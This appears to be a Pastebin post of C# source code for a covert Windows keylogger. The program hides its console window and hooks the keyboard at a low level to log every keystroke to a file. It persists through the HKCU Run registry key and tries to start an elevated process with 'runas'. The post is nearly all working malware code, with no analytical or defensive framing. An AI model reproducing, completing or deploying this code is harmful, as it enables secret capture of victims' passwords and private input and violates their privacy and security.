Stromeczik

Untitled

Oct 7th, 2016
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.04 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Runtime.InteropServices;
  6. using System.Windows.Forms;
  7.  
  8. namespace cv3
  9. {
  10.     internal class InterceptKeys
  11. {
  12.     private const int WH_KEYBOARD_LL = 13;
  13.     private const int WM_KEYDOWN = 0x0100;
  14.     private static LowLevelKeyboardProc _proc = HookCallback;
  15.     private static IntPtr _hookID = IntPtr.Zero;
  16.  
  17.     public static void Main()
  18.     {
  19.         Program.RunReg();
  20.        
  21.         var handle = GetConsoleWindow();
  22.  
  23.         // Hide
  24.         ShowWindow(handle, SW_HIDE);
  25.  
  26.         _hookID = SetHook(_proc);
  27.         Application.Run();
  28.         UnhookWindowsHookEx(_hookID);
  29.  
  30.     }
  31.  
  32.     private static IntPtr SetHook(LowLevelKeyboardProc proc)
  33.     {
  34.         using (Process curProcess = Process.GetCurrentProcess())
  35.         using (ProcessModule curModule = curProcess.MainModule)
  36.         {
  37.             return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  38.                 GetModuleHandle(curModule.ModuleName), 0);
  39.         }
  40.     }
  41.  
  42.     private delegate IntPtr LowLevelKeyboardProc(
  43.         int nCode, IntPtr wParam, IntPtr lParam);
  44.  
  45.     private static IntPtr HookCallback(
  46.         int nCode, IntPtr wParam, IntPtr lParam)
  47.     {
  48.         if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  49.         {
  50.             int vkCode = Marshal.ReadInt32(lParam);
  51.             Console.WriteLine((Keys)vkCode);
  52.             StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
  53.             switch (vkCode)
  54.                 {
  55.                     case 32: sw.Write(" ");
  56.                         // space
  57.                         break;
  58.  
  59.                     case 13: sw.WriteLine();
  60.                         // return key
  61.                         break;
  62.                    
  63.                     default: sw.Write((Keys)vkCode);
  64.                         break;
  65.                 }
  66.             sw.Close();
  67.         }
  68.         return CallNextHookEx(_hookID, nCode, wParam, lParam);
  69.     }
  70.  
  71.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  72.     private static extern IntPtr SetWindowsHookEx(int idHook,
  73.         LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  74.  
  75.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  76.     [return: MarshalAs(UnmanagedType.Bool)]
  77.     private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  78.  
  79.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  80.     private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  81.         IntPtr wParam, IntPtr lParam);
  82.  
  83.     [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  84.     private static extern IntPtr GetModuleHandle(string lpModuleName);
  85.  
  86.     [DllImport("kernel32.dll")]
  87.     static extern IntPtr GetConsoleWindow();
  88.  
  89.     [DllImport("user32.dll")]
  90.     static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  91.  
  92.     const int SW_HIDE = 0;
  93.  
  94. }
  95.  
  96.  
  97.     public class Program
  98.     {
  99.  
  100.         public static void RunReg()
  101.         {
  102.             var realPath = Application.ExecutablePath;
  103.             var reg = Registry.CurrentUser.GetValue("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\cv3", realPath);
  104.             // Console.WriteLine("REG\t" + reg);
  105.  
  106.             //if it does exist, retrieve the stored values  
  107.             if (reg != null)
  108.             {
  109.                 var key3 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  110.                 // Console.WriteLine("KEY3\t" + key3);
  111.  
  112.                 if (key3 != null)
  113.                 {
  114.                     var myPath = key3.GetValue("cv3", realPath).ToString();
  115.                     // Console.WriteLine("MYPATH\t\t" + myPath);
  116.  
  117.                     // Console.WriteLine("REALPATH\t" + "\"" + realPath + "\"");
  118.  
  119.                     var result = myPath.Equals("\"" + realPath + "\"", StringComparison.Ordinal);
  120.                     // Console.WriteLine("RESULT\t" + result);
  121.                     if (result)
  122.                     {
  123.                         // Console.WriteLine("PATHS SAME\n");
  124.                     }
  125.                     else
  126.                     {
  127.                         key3.SetValue("cv3", "\"" + Application.ExecutablePath + "\"");
  128.                         // Console.WriteLine("ADDED NEW PATH");
  129.                     }
  130.                 }
  131.                 key3?.Close();
  132.             }
  133.  
  134.             if (reg == null)
  135.             {
  136.                 var add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  137.                 // Console.WriteLine("ADD\t" + add);
  138.                 if (add == null) return;
  139.                 add.SetValue("cv3", "\"" + Application.ExecutablePath + "\"");
  140.                 // Console.WriteLine("KEY WAS NULL AND NOW IS SET\n");
  141.                 add.Close();
  142.  
  143.                
  144.             }
  145.  
  146.             var info = new ProcessStartInfo(@"C:\Windows\System32\calc.exe")
  147.             {
  148.                 UseShellExecute = true,
  149.                 Verb = "runas"
  150.             };
  151.             Process.Start(info);
  152.         }
  153.     }
  154. }
Add Comment
Please, Sign In to add comment